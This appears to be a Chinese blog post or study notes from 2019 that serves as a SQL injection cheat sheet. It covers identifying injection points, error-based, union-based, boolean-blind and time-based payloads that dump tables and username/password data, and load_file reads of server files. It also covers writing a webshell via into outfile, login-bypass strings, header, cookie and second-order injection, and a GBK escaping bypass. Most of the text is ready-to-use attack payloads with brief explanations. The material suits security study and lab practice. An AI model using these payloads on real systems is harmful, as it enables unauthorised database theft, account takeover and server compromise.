Mirror王宇阳
2019-10-22
SQL的注入流程一般如下:
1、判断是否有SQL注入漏洞(判断注入点)
2、判断 数据库的系统架构、数据库名、web应用类型等3、获取数据库信息
4、加密信息破解
5、进行提权
当输入(注入)的参数为整数,则可以认为该漏洞注入点为数字型注入;
http://192.168.2.172/index.php/?id=8
在后端中SQL语句构成如下:
select * from user where id=8;
当输入(注入)的参数为字符/串时可以认定为是字符型注入漏洞
POST注入:注入字段在POST数据中
Cookie注入:注入字段在Cookie数据中
延迟注入:使用数据库延迟特性进行注入
搜索注入:在搜索栏中利用恶意代码进行注入
base64注入:注入字符串经过base64加密
' or 1=1 #
and 1=1 #
and '1'='1' #
1') and ('1=1') #
url/?id=1/1
url/?id=1/0
PHP搭建的Web应用后端为MySQL
JSP搭建的Web应用后端为Oracle
ASP搭建的Web应用后端为MSSQL
字符串连接判断:
?id=1 and '1'+'1' = '11'
?id=1 and concat('1','1')='11'
判断数据库的系统库表:
' and (select count(*) from information_schema.tables)>0 and 1=1
默认变量:
'?; select @@servername--+
字符串连接判断:
?id=1 and '1'+'1'='11'
数据库系统表判断:
' and (select count(*) from sysobjects)>0 and 1=1
系统表判断:
' and (select count(*) from sys.user_tables)>0 and 1=1
字符串连接判断:
and '1'||'1' = '11'
and concat('1','1')='11'
语句执行后返回异常信息,这些异常信息包含了重要数据
floor
和group by
配合使用group by
的key唯一性和编码顺序导致二次执行产生不同大的key
' and select count(*) from table group by floor(rand(0))*2 #
union select 1,count(*),concat(0x7e,0x7e,(select table_name from information_schema.tables where table_schema='schema_name' limit 0,1),0x7e,0x7e,floor(rand(0)*2))x from information_schema.tables group by x #
count()
统计行数
floor(x)
返回小于或等于x的整数
rand()
返回0~1的随机数
floor(rand(0)*2)
返回数的规律011011
原始表需要拥有三条数据以上
报错注入产生原因:
调用count()函数是,会创建一张临时表用来统计group by后的行数;第一次查询到的结果为0,插入到临时表中,由于结果为0 再一次对原始表进行查询,结果返回1,插入到临时表中;第二次查询结果为1 因为临时表有了1,所以直接在count(1)上加1,此时1字段有了两行,第三次查询结果为0 插入到临时表的同时再次查询原始表,结果为1进行插入,由于此前1字段已经存在。
# 爆表
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1 --+
# 爆字段
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))=1 --+
# 爆数据
and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))=1 --+
1' and extractvalue(1,concat(0x7e,user()))#
extractvalue(xml_document,xpath_string)
从目标XML查询返回字符串
xml_document
是string的格式,为XML文档对象的名称中文为Doc
xpath_string
Xpath格式的字符串
我们从数据库的注入点中进行报错注入,得到了数据库当前表
1' and updatexml(1,concat(0x7e,(user())),1);#
updatexml(xml_document,xpath_string,new_value)
从目标XML查询返回字符串
xml-document
是字符串格式,为XML文档对象的名字中文为doc
xpath-string
xpath格式字符串
new_value
new_value格式字符串
and (select * from (select * from test as a join test as b) as c using(column_name1,...));
join
连接两张表
test
表名
using
关联两张表的相同字段
union select * from (select name_const(version(),1),name_const(version(),1))x;#
name_const(0)
重复报错,传入参数为常量
# 猜解列数
union select 1,2[,……] --+
# 爆表
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
# 爆字段
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+
# 爆数据
union select 1,group_concat(id,0x7e,email_id),3 from emails --+
group_concat()
: 将group by产生的同一个分组中的值连接起来,返回一个字符串结果
通过条件是否成立来判断
?id=1' and left(version(),1)='5' --+
left()
:从左截取a结果的1个长度的字符
只有当and
后面的sql语句为True才不会报错~……
通过猜解的方式,利用left的方法猜解数据库的版本信息第一个字符(环境是Mysql 5.1,所以版本信息第一个字符是‘5’)由此推演,我们可以利用布尔的判断特性来猜解数据库名……
如果我们不断的对目标进行猜解,就可以得到数据库名的第一个字符,以此类推第二个字符……第N个字符;数据库名的长度也可以通过length(database())>=*
进行猜解
牢记布尔盲注的特点:只有当and
后面的sql语句为True才不会报错;报错就表示and后的sql语句不成立……开动脑筋就可以创造奇迹
ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 #
ascii(substr((select database()),1,1))=98
substr(a,b,c)
将a结果从b开始截取c长度字符,ascii()将字符转为ascii值
like匹配注入
select user() like 'ro%'
extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
updatexml(1,concat(0x7e,(select @@version),0x7e),0x7e) --+
主要思路就是利用时间延迟来判断布尔条件是否达成,本质上是利用时间延迟来进行布尔和报错盲注的判断依据条件;用于没有任何回显信息的时候使用~
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句, 条件为假,
?id=1' and if(ascii(substr(database(),1,1))=96,1,sleep(10)) --+
ascii()
负责猜解;if()
负责判断,若是猜解成立则返回1,若是猜解不成立延迟10秒
and exists(select * from admin);
exists()
检查行是否存在返回true或false
XOR(if(now()=sysdate(),sleep(4),0))OR;
xor
异或,当条件不成立则执行sleep(4)
now()
返回语句开始执行的时间
sysdate()
动态的实时时间
sleep()
设置sql语句的执行时间
distinct
返回不重复字段
load_file(file_name)
:读取文件并返回该文件的内容作为一个字符串
具有文件的读写权限 show variables like '%secure%';
文件存在服务器上且可读
了解文件的具体路径
绝对物理物理:提交一个错误的请求,程序会由概率性质爆出web目录的绝对路径diaplay_errors=on
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,
114,101,112,97,105,114,92,115,97,109)))
利用 hex()将文件内容导出来, 尤其是 smb 文件时可以使用。
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain: “char(99,58,47,98,111,111,116,46,105,110,105)” 就是“c:/boot.ini” 的 ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain: “c:/boot.ini” 的 16 进制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,1,load_file(c:\boot.ini)
Explain:路径里的/用 \代替
load data infile
从文本文件中读取行数据,并存入一个表中,
load data infile {url} into table 表名(字段)
select [^] into outfile '[file_name]';
选择的一行写入到文件中,该文件保存在服务器主机上
如果达到渗透攻击的目的~就i利用into outfile将一句话木马写入到文件中
提交表单,表单数据在后台会构成sql语句;
$sql="SELECT user, pass FROM users WHERE username='$user' and pass='$pass'";
利用注释符号的特性,改变sql语句的限制~
直接丢上万能密码
admin' or '1'='1' #
uname= admin' or '1'='1' #&passwd=pass&submit=Submit
语句在后台就会构成:
$sql="SELECT user, pass FROM users WHERE username='admin' or '1'='1'#' and pass='$pass'"
后半部分的pass内容直接被注释了!
uname= ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=pass&submit=Submit
post的注入利用,其实本质依旧没有变~只是改变了请求的构造结构
有回显的时候使用union或报错注入
无法使用常规回显的时候可以使用盲注……
用户代理(user agent)是记录软件程序的客户端信息的 HTTP 头字段,他可以用来统计目标和违规协议。在 HTTP 头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。并不是所有的应用程序都会被获取到 user-agent 信息,但是有些应用程序利用它存储一些信息(如:购物车)。在这种情况下,我们就有必要研究下 user-agent 头存在的问题了。
GET /index.php HTTP/1.1
Host:xx.xxx.xxx.xx
User-Agent:admin' or 1/*
Referer 是另外一个当应用程序没有过滤存储到数据库时,容易发生 SQL 注入的 HTTP 头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求 URI 的服务器情况。它允许服务器产生一系列的回退链接文档,像感兴趣的内容,日志等。它也允许跟踪那些坏链接以便维护。
GET /index.php HTTP/1.1
Host: [host]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36
Referer: http://www.yaboukir.com'
在ASP中,Request对象获取客户端提交数据使用的是POST还是GET方法,同时Request对象可以不通过集合过的数据,直接使用request("name")
asp按照QueryString(get),Form(post),Cookie,Serverariable集合顺序来搜索,Cookie保存在客户端的一个文本文件中,可以修改;正是这个原因可以利用request.cookie方法来提交变量的值,利用系统的漏洞来进行注入
条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。
条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。
javascript:alert(document.cookie="id="+escape("1"))
document.cookie
当前浏览器中的cookie的value
alert()
弹出对话框,在对话框中确认信息
escape()
用于对字符串进行编码
Cookie的注入原理核心在于修改本地保存的Cookie,利用Cookie来提交非法的查询语句
如果开发者没有对Cookie进行过滤检查,Cookie的就可能会造成非法查询语句的构造
X-Forwarded-For
是HTTP头的一个字段;他被认为是客户端通过HTTP代理或者负载均衡器连接到Web服务端获取源IP地址的标准
X-Forwarded-For
常见于检测用户的IP是否合法;
利用FireFox的XFF Header插件或者将Burp抓到的爆保存给SQLmap
*- 借鉴sqli-labs-24
分析环境文件:
login.php
:查询数据库用户存在和验证登录
login.php中使用了mysql_real_escape_string()
函数对用户输入的字符串进行处理;会将特殊字符进行转义使之失去效果;但是~之后数据存储进数据库后转义的字符会恢复原样!
在login_create.php
注册页面中,使用了mysql_real_escape_string()
但是数据还是会被存放在数据库中……
数据会被完整的记录在数据库中
登录我们的账户,因为我们的账户是以admin'#
保存的,固然要这样的去访问和登录
前端提交user和pass后,会在修改密码页面修改密码
就这样我们成功的修改了admin的密码!为啥呢?
Sql 语句变为 UPDATE users SET passwd=”New_Pass” WHERE username =’ admin’ # ‘ AND password=’
也 就 是 执 行 了 UPDATE users SET passwd=”New_Pass” WHERE sername =’admin’
利用注册的admin’# 修改密码时候从数据库提取该数据 造成了数据 命令拼接
mysql 在使用 GBK 编码的时候, 会认为两个字符为一个汉字, 例如%aa%5c 就是一个
汉字(前一个 ascii 码大于 128 才能到汉字的范围) 。 我们在过滤 ’ 的时候, 往往利用的思
路是将 ‘ 转换为 ’
1、 %df 吃掉 具体的原因是 urlencode(‘) = %5c%27, 我们在%5c%27 前面添加%df, 形
成%df%5c%27, 而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字, 此
事%df%5c 就是一个汉字, %27 则作为一个单独的符号在外面, 同时也就达到了我们的目的。
2、 将 ’ 中的 过滤掉, 例如可以构造 %**%5c%5c%27 的情况, 后面的%5c 会被前面的%5c
给注释掉。 这也是 bypass 的一种方法。
get 型的方式我们是以 url 形式提交的, 因此数据会通过 URLencode
post 型的注入当中, 将 utf-8 转换为 utf-16 或 utf-32, 例如将 ‘ 转为 utf-16 为 � ‘